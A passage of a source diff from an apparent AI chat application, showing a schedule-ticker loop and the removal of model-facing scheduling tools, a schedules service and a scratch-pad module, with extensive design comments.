after=after - timedelta(microseconds=1),
|
||||
now=now,
|
||||
zone=zone,
|
||||
fired=schedule.fired_count or 0,
|
||||
)
|
||||
if fire_now:
|
||||
schedule.fired_count = (schedule.fired_count or 0) + 1
|
||||
schedule.last_fire_at = now
|
||||
schedule.next_fire_at = following
|
||||
if following is None:
|
||||
# Nothing left to do: a spent count, a closed window, a calendar that
|
||||
# matches nothing inside the horizon. Switched off rather than left
|
||||
# enabled with a null next time, which would read as "waiting" for ever.
|
||||
schedule.enabled = False
|
||||
return fire_now, following
|
||||
|
||||
|
||||
async def sweep(*, now: datetime | None = None) -> int:
|
||||
"""One pass. Returns how many schedules were fired.
|
||||
|
||||
Claims every due row and commits, then starts the firings — in that order,
|
||||
and with the commit in between, which is the property `test_schedule_ticker`
|
||||
checks by making a firing raise.
|
||||
"""
|
||||
now = now or datetime.now(tz=UTC)
|
||||
to_fire: list[tuple[str, datetime]] = []
|
||||
|
||||
async with _SWEEPING:
|
||||
with session_scope() as db:
|
||||
if not settings_store.schedules(db).get("enabled"):
|
||||
return 0
|
||||
limit = int(settings_store.schedules(db).get("max_concurrent") or 3)
|
||||
for schedule in db.scalars(_due(now)):
|
||||
try:
|
||||
owner = db.get(User, schedule.user_id)
|
||||
if owner is None:
|
||||
# The account is gone; the CASCADE will take the row.
|
||||
schedule.enabled = False
|
||||
continue
|
||||
due_at = clock.as_utc(schedule.next_fire_at) if schedule.next_fire_at else now
|
||||
fire_now, _ = claim(schedule, now=now, zone=clock.zone_for(owner))
|
||||
if fire_now:
|
||||
to_fire.append((schedule.id, due_at))
|
||||
except Exception: # noqa: BLE001 - one bad row must not stop the sweep
|
||||
log.exception("could not claim schedule %s", schedule.id)
|
||||
with contextlib.suppress(Exception):
|
||||
schedule.enabled = False
|
||||
schedule.last_error = "This schedule could not be read, so it was stopped."
|
||||
# Committed before a single firing starts. This is the claim.
|
||||
db.commit()
|
||||
|
||||
if not to_fire:
|
||||
return 0
|
||||
|
||||
semaphore = asyncio.Semaphore(max(1, limit))
|
||||
|
||||
async def _guarded(schedule_id: str, due_at: datetime) -> None:
|
||||
async with semaphore:
|
||||
await runner.fire(schedule_id, due_at=due_at)
|
||||
|
||||
for schedule_id, due_at in to_fire:
|
||||
task = asyncio.create_task(_guarded(schedule_id, due_at))
|
||||
_FIRING.add(task)
|
||||
task.add_done_callback(_FIRING.discard)
|
||||
return len(to_fire)
|
||||
|
||||
|
||||
def _interval() -> float:
|
||||
with contextlib.suppress(Exception), session_scope() as db:
|
||||
return float(settings_store.schedules(db).get("tick_seconds") or TICK_SECONDS)
|
||||
return TICK_SECONDS
|
||||
|
||||
|
||||
async def _loop() -> None:
|
||||
while True:
|
||||
try:
|
||||
await asyncio.sleep(_interval())
|
||||
await sweep()
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception: # noqa: BLE001 - the ticker must outlive one bad sweep
|
||||
log.exception("the schedule ticker raised")
|
||||
|
||||
|
||||
def start() -> None:
|
||||
"""Begin ticking, once. Idempotent, so a second call in one process is not a
|
||||
second ticker firing everything twice."""
|
||||
global _TICKER
|
||||
if _TICKER is None or _TICKER.done():
|
||||
_TICKER = asyncio.create_task(_loop())
|
||||
|
||||
|
||||
async def shutdown() -> None:
|
||||
global _TICKER
|
||||
if _TICKER is not None:
|
||||
_TICKER.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await _TICKER
|
||||
_TICKER = None
|
||||
for task in list(_FIRING):
|
||||
task.cancel()
|
||||
for task in list(_FIRING):
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await task
|
||||
_FIRING.clear()
|
||||
|
||||
|
||||
def release_claims() -> int:
|
||||
"""Clear `claimed_at` on rows whose firing did not survive the last run.
|
||||
|
||||
A restart abandons a reply in flight -- that is already true of every
|
||||
generation here -- so a schedule whose firing was interrupted would
|
||||
otherwise carry a claim stamp for ever and read as permanently running.
|
||||
"""
|
||||
with session_scope() as db:
|
||||
stuck = list(db.scalars(select(Schedule).where(Schedule.claimed_at.is_not(None))))
|
||||
for schedule in stuck:
|
||||
schedule.claimed_at = None
|
||||
schedule.last_error = "This run was interrupted by a restart."
|
||||
if stuck:
|
||||
db.commit()
|
||||
return len(stuck)
|
||||
@@ -1,398 +0,0 @@
|
||||
"""Scheduling, as something a model can do rather than only a person.
|
||||
|
||||
## Why this exists
|
||||
|
||||
It did not, and that was the bug. Asked to "remind me every Monday at noon", a
|
||||
model looked down its tool list, found `notes_create` described as *"something
|
||||
worth having in a later conversation"* and `memory_add` beginning with the word
|
||||
*Remember*, wrote a note, and reported that it had scheduled something. Nothing
|
||||
in the list said scheduling existed; nothing said it did not. The near-misses
|
||||
were the only thing to reach for.
|
||||
|
||||
No prompt fixes that. The seam had been left open on purpose --
|
||||
`Schedule.origin` has defined `ORIGIN_MODEL` since the feature landed, with no
|
||||
writer, and `services/schedules.py` says in its first line that it holds "what
|
||||
the routes **and the tools** both need" -- and this is the tool that was meant
|
||||
to go through it.
|
||||
|
||||
## One vocabulary, not a second one
|
||||
|
||||
Everything below is a thin layer over what the form already uses:
|
||||
`rule.validate` is the single total normaliser (the manual form, the compile
|
||||
step and this all hand it the same raw shape), `schedules.create` writes the row
|
||||
and the task chat together, and `rule.describe` says what came out in words. A
|
||||
second dialect for models would mean two definitions of "every other Tuesday"
|
||||
and one of them going quietly wrong.
|
||||
|
||||
The rule shape is documented in `services/schedule/rule.py` and repeated to the
|
||||
model in the `tool.schedule` fragment, which is deliberately worded from
|
||||
`task.schedule_compile` -- the prompt that has been turning people's words into
|
||||
this same JSON since the feature shipped.
|
||||
|
||||
## What the tool answers with
|
||||
|
||||
`rule.describe(...)`, always, not "done". A schedule is invisible until it fires,
|
||||
which may be days away, so the one moment anybody can check that Monday was
|
||||
understood as Monday is the sentence in the reply. The model is told to quote it.
|
||||
`ORIGIN_MODEL` goes on the row for the same reason: the Scheduled list can then
|
||||
say which of these nobody typed.
|
||||
|
||||
## What it deliberately cannot do
|
||||
|
||||
Touch anybody else's schedules -- `schedules.get` takes the user and returns
|
||||
None for a row that is not theirs, which is the whole authorisation here as it
|
||||
is in the routes. And it cannot create an agent task: `schedules.create` refuses
|
||||
that on its own terms, for reasons written down there.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
from lembas.db.models import ORIGIN_MODEL, TARGET_CHAT, TARGETS, Schedule, User
|
||||
from lembas.db.session import session_scope
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
|
||||
if TYPE_CHECKING: # pragma: no cover - typing only
|
||||
from lembas.services.tools import ToolContext, ToolDef, ToolOutcome
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What a schedule may be told to do, as the model sees it. The same three the
|
||||
# form offers, in the same order, with the wording that says which to pick --
|
||||
# `target` is the field a model gets wrong most often, because all three are
|
||||
# plausible readings of "tell me".
|
||||
TARGET_HELP = (
|
||||
"Where the result goes. "
|
||||
'"report" for something to read later — an investigation, a summary, a '
|
||||
"digest — which is filed in Reports and cannot be replied to. "
|
||||
'"messages" for a short note to the reader in their ongoing conversation, '
|
||||
"which is where a reminder or a fact of the day belongs. "
|
||||
'"chat" to leave it in the task\'s own chat, which is right when the runs '
|
||||
"build on each other and you want the transcript."
|
||||
)
|
||||
|
||||
RULE_HELP = (
|
||||
"When it runs, as an object. Keys, all optional:\n"
|
||||
'- "start": ISO timestamp for the first (or only) run. Required for a '
|
||||
'one-off, and for "every".\n'
|
||||
'- "every": a plain timer — one of {"minutes": n}, {"hours": n}, '
|
||||
'{"days": n}, {"weeks": n}. Use this for "in ten minutes" and "every six '
|
||||
'hours". Minimum one minute.\n'
|
||||
'- "at": a calendar — {"weekdays": [...], "days": [1-31], '
|
||||
'"months": [1-12], "times": ["HH:MM"]}. Leave a list out to mean every one '
|
||||
'of them. Use this for "every Monday at noon" and "daily at nine". '
|
||||
"Weekdays are Monday=0, Tuesday=1, Wednesday=2, Thursday=3, Friday=4, "
|
||||
"Saturday=5, Sunday=6 — count them off rather than guessing, because "
|
||||
"naming the wrong day still looks like a working schedule.\n"
|
||||
'- "count": how many times in total, if a number was given.\n'
|
||||
'- "until": ISO timestamp to stop after, if one was given.\n'
|
||||
'Give both "every" and "at" only for something like "every other Tuesday". '
|
||||
"Times are in the reader's own timezone, which the system prompt states."
|
||||
)
|
||||
|
||||
|
||||
def _outcome(text: str, event: dict[str, Any]) -> ToolOutcome:
|
||||
"""Imported here rather than at module scope: `services/tools.py` imports
|
||||
this module to build the definitions, so a top-level import back is a cycle.
|
||||
"""
|
||||
from lembas.services.tools import ToolOutcome
|
||||
|
||||
return ToolOutcome(text, event)
|
||||
|
||||
|
||||
def _error(name: str, message: str) -> ToolOutcome:
|
||||
return _outcome(message, {"name": name, "status": "error", "error": message})
|
||||
|
||||
|
||||
def _summary(schedule: Schedule, owner: User | None) -> str:
|
||||
return rule_service.describe(schedule.rule_json or {}, zone=clock.zone_for(owner))
|
||||
|
||||
|
||||
def _row(schedule: Schedule, owner: User | None) -> dict[str, Any]:
|
||||
"""One schedule as the transcript shows it, and as the model reads it back."""
|
||||
return {
|
||||
"id": schedule.id,
|
||||
"title": schedule.title,
|
||||
"summary": _summary(schedule, owner),
|
||||
"target": schedule.target,
|
||||
"enabled": bool(schedule.enabled),
|
||||
"next": schedule.next_fire_at.isoformat() if schedule.next_fire_at else "",
|
||||
}
|
||||
|
||||
|
||||
# --- Making one ----------------------------------------------------------------
|
||||
async def _run_create(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
title = str(args.get("title") or "").strip()
|
||||
instruction = str(args.get("instruction") or "").strip()
|
||||
target = str(args.get("target") or TARGET_CHAT).strip().lower()
|
||||
raw_rule = args.get("schedule") or args.get("rule") or {}
|
||||
|
||||
if not instruction:
|
||||
return _error(
|
||||
"schedule_create",
|
||||
"A schedule needs an instruction: what should be done each time it "
|
||||
"runs, written out in full. It will be read on its own, days later, "
|
||||
"by a model that was not here — so say everything it needs.",
|
||||
)
|
||||
if not isinstance(raw_rule, dict):
|
||||
return _error("schedule_create", "The schedule must be an object saying when to run.")
|
||||
if target not in TARGETS:
|
||||
target = TARGET_CHAT
|
||||
|
||||
with session_scope() as db:
|
||||
owner = db.get(User, context.owner_id)
|
||||
if owner is None: # pragma: no cover - a session outliving its user
|
||||
return _error("schedule_create", "That account no longer exists.")
|
||||
try:
|
||||
schedule = schedules_service.create(
|
||||
db,
|
||||
owner=owner,
|
||||
title=title or instruction[:60],
|
||||
instruction=instruction,
|
||||
rule=raw_rule,
|
||||
target=target,
|
||||
model_id=context.model_id or "",
|
||||
# The value that has been declared and unwritten since the
|
||||
# feature shipped. It is what lets the Scheduled list say which
|
||||
# of these nobody typed.
|
||||
origin=ORIGIN_MODEL,
|
||||
)
|
||||
except schedules_service.ScheduleError as exc:
|
||||
# Its message is written for a person and reads correctly to a
|
||||
# model too -- it says what is wrong with the timing rather than
|
||||
# that something failed, which is what makes the next attempt
|
||||
# different from this one.
|
||||
return _error("schedule_create", str(exc))
|
||||
|
||||
summary = _summary(schedule, owner)
|
||||
log.info("%s scheduled %r by model (%s)", owner.email, schedule.title, summary)
|
||||
return _outcome(
|
||||
# The summary first, and phrased so quoting it is the obvious thing
|
||||
# to do: it is the only chance anybody has to notice that Monday was
|
||||
# read as Monday before the first run arrives.
|
||||
f"Scheduled {schedule.title!r}: {summary}. "
|
||||
f"The result goes to {schedule.target}. Tell the reader this summary "
|
||||
f"in your reply, in your own words, so they can correct it now rather "
|
||||
f"than when it first runs.",
|
||||
{
|
||||
"name": "schedule_create",
|
||||
"query": schedule.title,
|
||||
"status": "ok",
|
||||
"detail": summary,
|
||||
"results": [_row(schedule, owner)],
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# --- Reading them back ---------------------------------------------------------
|
||||
async def _run_list(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
with session_scope() as db:
|
||||
owner = db.get(User, context.owner_id)
|
||||
# `visible` is the same narrowing the routes use, and is the whole
|
||||
# authorisation: it answers with nothing at all for a missing user.
|
||||
rows = list(db.scalars(schedules_service.visible(owner).order_by(Schedule.created_at)))
|
||||
if not rows:
|
||||
return _outcome(
|
||||
"There are no schedules.",
|
||||
{"name": "schedule_list", "status": "ok", "results": []},
|
||||
)
|
||||
listed = [_row(row, owner) for row in rows]
|
||||
lines = "\n".join(
|
||||
f"- {row['id']}: {row['title']} — {row['summary']}, to {row['target']}"
|
||||
+ ("" if row["enabled"] else " (paused)")
|
||||
for row in listed
|
||||
)
|
||||
return _outcome(
|
||||
f"{len(listed)} schedule(s):\n{lines}",
|
||||
{"name": "schedule_list", "status": "ok", "results": listed},
|
||||
)
|
||||
|
||||
|
||||
# --- Changing and stopping -----------------------------------------------------
|
||||
async def _run_update(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
with session_scope() as db:
|
||||
owner = db.get(User, context.owner_id)
|
||||
schedule = schedules_service.get(db, str(args.get("id") or ""), owner)
|
||||
if schedule is None:
|
||||
return _error(
|
||||
"schedule_update",
|
||||
"There is no such schedule, or it belongs to someone else. "
|
||||
"schedule_list gives the ids you can use.",
|
||||
)
|
||||
|
||||
raw_rule = args.get("schedule") or args.get("rule")
|
||||
enabled = args.get("enabled")
|
||||
try:
|
||||
if raw_rule is not None or args.get("title") or args.get("instruction") is not None:
|
||||
schedules_service.update(
|
||||
db,
|
||||
schedule,
|
||||
owner=owner,
|
||||
title=args.get("title"),
|
||||
instruction=args.get("instruction"),
|
||||
rule=raw_rule if isinstance(raw_rule, dict) else None,
|
||||
target=str(args.get("target") or "") or None,
|
||||
)
|
||||
if enabled is not None:
|
||||
schedules_service.set_enabled(db, schedule, owner=owner, enabled=bool(enabled))
|
||||
except schedules_service.ScheduleError as exc:
|
||||
return _error("schedule_update", str(exc))
|
||||
|
||||
summary = _summary(schedule, owner)
|
||||
state = "running" if schedule.enabled else "paused"
|
||||
return _outcome(
|
||||
f"Updated {schedule.title!r}: {summary}, {state}. Say the new timing "
|
||||
f"in your reply.",
|
||||
{
|
||||
"name": "schedule_update",
|
||||
"query": schedule.title,
|
||||
"status": "ok",
|
||||
"detail": summary,
|
||||
"results": [_row(schedule, owner)],
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
async def _run_cancel(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
from lembas.services import schedules as schedules_service
|
||||
|
||||
with session_scope() as db:
|
||||
owner = db.get(User, context.owner_id)
|
||||
schedule = schedules_service.get(db, str(args.get("id") or ""), owner)
|
||||
if schedule is None:
|
||||
return _error(
|
||||
"schedule_cancel",
|
||||
"There is no such schedule, or it belongs to someone else. "
|
||||
"schedule_list gives the ids you can use.",
|
||||
)
|
||||
title = schedule.title
|
||||
# The transcript is kept, which is `delete`'s own default and the right
|
||||
# one: removing a timer must not delete a conversation as a side effect.
|
||||
schedules_service.delete(db, schedule, keep_chat=True)
|
||||
log.info("%s cancelled schedule %r by model", owner.email if owner else "?", title)
|
||||
return _outcome(
|
||||
f"Stopped {title!r}. It will not run again; what it has already "
|
||||
f"written is kept.",
|
||||
{"name": "schedule_cancel", "query": title, "status": "ok", "results": []},
|
||||
)
|
||||
|
||||
|
||||
def tool_defs() -> list[ToolDef]:
|
||||
"""The four, built here so `services/tools.py` need not know the wording."""
|
||||
from lembas.services.tools import FAMILY_SCHEDULE, RISK_READ, RISK_WRITE, ToolDef
|
||||
|
||||
return [
|
||||
ToolDef(
|
||||
name="schedule_create",
|
||||
family=FAMILY_SCHEDULE,
|
||||
description=(
|
||||
"Set something up to happen later, or repeatedly, without anybody "
|
||||
"asking again. Use this whenever the reader says when something "
|
||||
"should happen — “in ten minutes”, “every Monday at noon”, "
|
||||
"“daily”, “remind me”. Writing a note or a memory instead does "
|
||||
"not make anything happen at the time; a note is read only when "
|
||||
"somebody goes looking for it. Say the resulting timing back to "
|
||||
"the reader so they can correct it before the first run."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"title": {
|
||||
"type": "string",
|
||||
"description": "A short name for this, five words or fewer.",
|
||||
},
|
||||
"instruction": {
|
||||
"type": "string",
|
||||
"description": (
|
||||
"What to do each time it runs, written out in full and "
|
||||
"as an instruction rather than a description. It is "
|
||||
"read on its own, with none of this conversation "
|
||||
"around it and nobody to ask, so say everything it "
|
||||
"needs."
|
||||
),
|
||||
},
|
||||
"target": {
|
||||
"type": "string",
|
||||
"enum": list(TARGETS),
|
||||
"description": TARGET_HELP,
|
||||
},
|
||||
"schedule": {"type": "object", "description": RULE_HELP},
|
||||
},
|
||||
"required": ["instruction", "schedule"],
|
||||
},
|
||||
run=_run_create,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="schedule_list",
|
||||
family=FAMILY_SCHEDULE,
|
||||
description=(
|
||||
"Everything already scheduled, with its id, its timing in words "
|
||||
"and when it next runs. Worth calling before setting something "
|
||||
"up, so an existing one is changed rather than duplicated, and "
|
||||
"before answering a question about what is scheduled."
|
||||
),
|
||||
parameters={"type": "object", "properties": {}},
|
||||
run=_run_list,
|
||||
risk=RISK_READ,
|
||||
),
|
||||
ToolDef(
|
||||
name="schedule_update",
|
||||
family=FAMILY_SCHEDULE,
|
||||
description=(
|
||||
"Change a schedule: its timing, its instruction, its title, where "
|
||||
"its result goes, or whether it is paused. Omit a field to leave "
|
||||
"it alone. Changing the timing restarts the count, because an "
|
||||
"edited schedule is a new intention. Ids come from schedule_list."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"id": {"type": "string", "description": "From schedule_list."},
|
||||
"title": {"type": "string"},
|
||||
"instruction": {"type": "string"},
|
||||
"target": {"type": "string", "enum": list(TARGETS)},
|
||||
"schedule": {"type": "object", "description": RULE_HELP},
|
||||
"enabled": {
|
||||
"type": "boolean",
|
||||
"description": (
|
||||
"False to pause it, true to resume. Resuming counts "
|
||||
"from now, so a schedule paused for a month does not "
|
||||
"come back owing runs."
|
||||
),
|
||||
},
|
||||
},
|
||||
"required": ["id"],
|
||||
},
|
||||
run=_run_update,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
name="schedule_cancel",
|
||||
family=FAMILY_SCHEDULE,
|
||||
description=(
|
||||
"Stop a schedule for good and remove it. What it has already "
|
||||
"written is kept. To stop one temporarily, use schedule_update "
|
||||
"with enabled false instead."
|
||||
),
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {"id": {"type": "string", "description": "From schedule_list."}},
|
||||
"required": ["id"],
|
||||
},
|
||||
run=_run_cancel,
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
__all__ = ["RULE_HELP", "TARGET_HELP", "tool_defs"]
|
||||
@@ -1,232 +0,0 @@
|
||||
"""Making, changing and stopping a schedule.
|
||||
|
||||
The row-level half: what the routes and the tools both need, so neither has its
|
||||
own idea of what creating a schedule involves. `services/schedule/` holds the
|
||||
machinery — when it next comes due, and what happens when it does.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
from datetime import UTC, datetime
|
||||
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import (
|
||||
KIND_TASK,
|
||||
ORIGIN_USER,
|
||||
ORIGINS,
|
||||
TARGET_CHAT,
|
||||
TARGETS,
|
||||
Chat,
|
||||
Schedule,
|
||||
User,
|
||||
)
|
||||
from lembas.services import settings_store
|
||||
from lembas.services.schedule import clock
|
||||
from lembas.services.schedule import rule as rule_service
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
MAX_TITLE_CHARS = 200
|
||||
MAX_INSTRUCTION_CHARS = 8000
|
||||
|
||||
|
||||
class ScheduleError(Exception):
|
||||
"""Something a person needs told, in words they can act on."""
|
||||
|
||||
|
||||
def visible(user: User | None):
|
||||
if user is None:
|
||||
return select(Schedule).where(Schedule.id.is_(None))
|
||||
return select(Schedule).where(Schedule.user_id == user.id)
|
||||
|
||||
|
||||
def get(db: DBSession, schedule_id: str, user: User | None) -> Schedule | None:
|
||||
schedule = db.get(Schedule, schedule_id)
|
||||
if schedule is None or user is None or schedule.user_id != user.id:
|
||||
return None
|
||||
return schedule
|
||||
|
||||
|
||||
def for_chat(db: DBSession, chat: Chat) -> Schedule | None:
|
||||
"""The schedule a task chat belongs to, if any."""
|
||||
return db.scalars(select(Schedule).where(Schedule.chat_id == chat.id)).first()
|
||||
|
||||
|
||||
def count_for(db: DBSession, user: User) -> int:
|
||||
return int(
|
||||
db.scalar(
|
||||
select(func.count()).select_from(Schedule).where(Schedule.user_id == user.id)
|
||||
)
|
||||
or 0
|
||||
)
|
||||
|
||||
|
||||
def create(
|
||||
db: DBSession,
|
||||
*,
|
||||
owner: User,
|
||||
title: str,
|
||||
instruction: str,
|
||||
rule: dict,
|
||||
request: str = "",
|
||||
target: str = TARGET_CHAT,
|
||||
model_id: str = "",
|
||||
origin: str = ORIGIN_USER,
|
||||
) -> Schedule:
|
||||
"""Write a schedule and the chat it fires into.
|
||||
|
||||
**The chat is created here, with the schedule**, and this is the one place
|
||||
"chats are created lazily" is deliberately bent. That rule exists so an
|
||||
opened-and-abandoned chat never appears in the sidebar; a task chat is not
|
||||
opened and abandoned, because creating it *is* the act. It also has to exist
|
||||
before the first firing, which may be days away and will have nobody
|
||||
present to make one.
|
||||
|
||||
A task chat is never `KIND_AGENT`. Scheduling one would mean running
|
||||
commands on a timer with nobody watching — and since every mode except Auto
|
||||
stalls waiting for an approval that will not come, the only two outcomes are
|
||||
"unattended execution" and "does nothing". That deserves its own pass with a
|
||||
mode built for it, not a flag here.
|
||||
"""
|
||||
clean = rule_service.validate(rule)
|
||||
if not clean:
|
||||
raise ScheduleError(
|
||||
"That does not describe a time anything could run at. "
|
||||
"Say when it should happen — a date and time, or how often."
|
||||
)
|
||||
if rule_service.next_after(clean, datetime.now(tz=UTC), zone=clock.zone_for(owner)) is None:
|
||||
# Belt and braces over `validate`'s own invariant. A schedule that can
|
||||
# never fire looks exactly like a working one on every screen it appears
|
||||
# on, so it is refused at the only moment somebody is present to be told.
|
||||
raise ScheduleError("That schedule has no next run — its time has already passed.")
|
||||
|
||||
limit = int(settings_store.schedules(db).get("max_per_user") or 20)
|
||||
if count_for(db, owner) >= limit:
|
||||
raise ScheduleError(
|
||||
f"You already have {limit} schedules, which is the most this instance allows. "
|
||||
"Remove one before adding another."
|
||||
)
|
||||
|
||||
chat = Chat(
|
||||
user_id=owner.id,
|
||||
kind=KIND_TASK,
|
||||
title=(title.strip() or "Scheduled task")[:MAX_TITLE_CHARS],
|
||||
model_id=model_id or "",
|
||||
# Said on the row as well as implied by the kind. `tools.unattended`
|
||||
# reads both, because the column was added to a table that already held
|
||||
# task chats and a backfill cannot know which they were -- but every one
|
||||
# written from here on says so for itself, which is what the check on
|
||||
# the kind is there to stop being needed forever.
|
||||
unattended=True,
|
||||
)
|
||||
db.add(chat)
|
||||
db.flush()
|
||||
|
||||
schedule = Schedule(
|
||||
user_id=owner.id,
|
||||
title=(title.strip() or "Scheduled task")[:MAX_TITLE_CHARS],
|
||||
request=(request or "").strip()[:MAX_INSTRUCTION_CHARS],
|
||||
instruction=(instruction or "").strip()[:MAX_INSTRUCTION_CHARS],
|
||||
rule_json=clean,
|
||||
target=target if target in TARGETS else TARGET_CHAT,
|
||||
chat_id=chat.id,
|
||||
model_id=model_id or "",
|
||||
origin=origin if origin in ORIGINS else ORIGIN_USER,
|
||||
enabled=True,
|
||||
next_fire_at=rule_service.next_after(
|
||||
clean, datetime.now(tz=UTC), zone=clock.zone_for(owner)
|
||||
),
|
||||
compiled_at=datetime.now(tz=UTC),
|
||||
)
|
||||
db.add(schedule)
|
||||
db.commit()
|
||||
return schedule
|
||||
|
||||
|
||||
def update(
|
||||
db: DBSession,
|
||||
schedule: Schedule,
|
||||
*,
|
||||
owner: User,
|
||||
title: str | None = None,
|
||||
instruction: str | None = None,
|
||||
rule: dict | None = None,
|
||||
target: str | None = None,
|
||||
) -> Schedule:
|
||||
"""Change a schedule. Absent arguments are left alone."""
|
||||
if title is not None and title.strip():
|
||||
schedule.title = title.strip()[:MAX_TITLE_CHARS]
|
||||
if instruction is not None:
|
||||
schedule.instruction = instruction.strip()[:MAX_INSTRUCTION_CHARS]
|
||||
if target is not None and target in TARGETS:
|
||||
schedule.target = target
|
||||
if rule is not None:
|
||||
clean = rule_service.validate(rule)
|
||||
if not clean:
|
||||
raise ScheduleError(
|
||||
"That does not describe a time anything could run at. "
|
||||
"Say when it should happen — a date and time, or how often."
|
||||
)
|
||||
schedule.rule_json = clean
|
||||
# Recomputed from now, and the count restarted: an edited schedule is a
|
||||
# new intention, and carrying the old `fired_count` into a new `count`
|
||||
# would silently spend most of it before the first run.
|
||||
schedule.fired_count = 0
|
||||
schedule.next_fire_at = rule_service.next_after(
|
||||
clean, datetime.now(tz=UTC), zone=clock.zone_for(owner)
|
||||
)
|
||||
if schedule.next_fire_at is None:
|
||||
raise ScheduleError("That schedule has no next run — its time has already passed.")
|
||||
db.commit()
|
||||
return schedule
|
||||
|
||||
|
||||
def set_enabled(db: DBSession, schedule: Schedule, *, owner: User, enabled: bool) -> Schedule:
|
||||
"""Pause or resume.
|
||||
|
||||
**Resuming recomputes from now**, never from the stored value. A schedule
|
||||
paused for a month would otherwise come back due — and with catching-up in
|
||||
the sweep, it would fire the moment it was switched on, having decided it
|
||||
was owed a run from four weeks ago.
|
||||
"""
|
||||
schedule.enabled = bool(enabled)
|
||||
if enabled:
|
||||
schedule.last_error = ""
|
||||
schedule.next_fire_at = rule_service.next_after(
|
||||
schedule.rule_json or {},
|
||||
datetime.now(tz=UTC),
|
||||
zone=clock.zone_for(owner),
|
||||
fired=schedule.fired_count or 0,
|
||||
)
|
||||
if schedule.next_fire_at is None:
|
||||
schedule.enabled = False
|
||||
schedule.last_error = "There are no runs left in this schedule."
|
||||
db.commit()
|
||||
return schedule
|
||||
|
||||
|
||||
def delete(db: DBSession, schedule: Schedule, *, keep_chat: bool = True) -> None:
|
||||
"""Remove a schedule, and by default keep its transcript.
|
||||
|
||||
Keeping is the default because deleting a conversation as a side effect of
|
||||
removing a timer is exactly the destructive default this codebase avoids
|
||||
elsewhere. The chat becomes an ordinary one so it is reachable again — a
|
||||
`KIND_TASK` chat with no schedule behind it would be in no list at all.
|
||||
"""
|
||||
chat = db.get(Chat, schedule.chat_id) if schedule.chat_id else None
|
||||
if chat is not None:
|
||||
if keep_chat:
|
||||
chat.kind = "chat"
|
||||
else:
|
||||
from lembas.services import chat as chat_service
|
||||
|
||||
chat_service.delete_chats(db, [chat])
|
||||
db.delete(schedule)
|
||||
db.commit()
|
||||
|
||||
|
||||
def describe(schedule: Schedule, *, owner: User | None) -> str:
|
||||
return rule_service.describe(schedule.rule_json or {}, zone=clock.zone_for(owner))
|
||||
@@ -1,82 +0,0 @@
|
||||
"""A chat's own working surface.
|
||||
|
||||
One text artefact per chat, written by the model through `scratch_write` and by
|
||||
the person through the canvas panel, and handed to a message as an ordinary
|
||||
attachment when it is ready.
|
||||
|
||||
Not a note. A note is a durable artefact of the reader's that outlives the chat
|
||||
and is searchable; this is the chat's own record of what it is working on, which
|
||||
is the line `plan_update` sits on rather than `notes_edit`. It is deliberately
|
||||
not injected as context every turn either -- that is what a memory is for, and a
|
||||
working document injected whole on every request is how a window fills up.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from sqlalchemy import select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.db.models import AUTHOR_USER, Chat, ScratchDoc
|
||||
|
||||
# Between a note's 40k and an attachment's 120k. Large enough to hold a draft
|
||||
# somebody is actually working on, small enough that attaching one does not
|
||||
# quietly cost most of a context window.
|
||||
MAX_BODY_CHARS = 100_000
|
||||
MAX_TITLE_CHARS = 300
|
||||
|
||||
|
||||
def get(db: DBSession, chat: Chat) -> ScratchDoc | None:
|
||||
"""The chat's pad, or None. No side effect.
|
||||
|
||||
Separate from `for_chat` because the harness and the mention picker ask
|
||||
whether there is one, and a question must not create the thing it asks
|
||||
about -- otherwise every chat ever opened acquires an empty row.
|
||||
"""
|
||||
return db.scalar(select(ScratchDoc).where(ScratchDoc.chat_id == chat.id))
|
||||
|
||||
|
||||
def for_chat(db: DBSession, chat: Chat) -> ScratchDoc:
|
||||
"""The chat's pad, made if it is not there yet."""
|
||||
existing = get(db, chat)
|
||||
if existing is not None:
|
||||
return existing
|
||||
doc = ScratchDoc(chat_id=chat.id, user_id=chat.user_id)
|
||||
db.add(doc)
|
||||
db.commit()
|
||||
return doc
|
||||
|
||||
|
||||
def update(
|
||||
db: DBSession,
|
||||
doc: ScratchDoc,
|
||||
*,
|
||||
body: str | None = None,
|
||||
title: str | None = None,
|
||||
author: str = AUTHOR_USER,
|
||||
) -> ScratchDoc:
|
||||
"""Replace what is in the pad. Absent arguments are left alone.
|
||||
|
||||
The body is **not** stripped, unlike a note's. This is a document somebody
|
||||
is editing, and trailing whitespace they typed is theirs -- a save that
|
||||
silently trims the line you are standing on is the kind of thing that makes
|
||||
an editor feel broken.
|
||||
"""
|
||||
if title is not None and title.strip():
|
||||
doc.title = title.strip()[:MAX_TITLE_CHARS]
|
||||
if body is not None:
|
||||
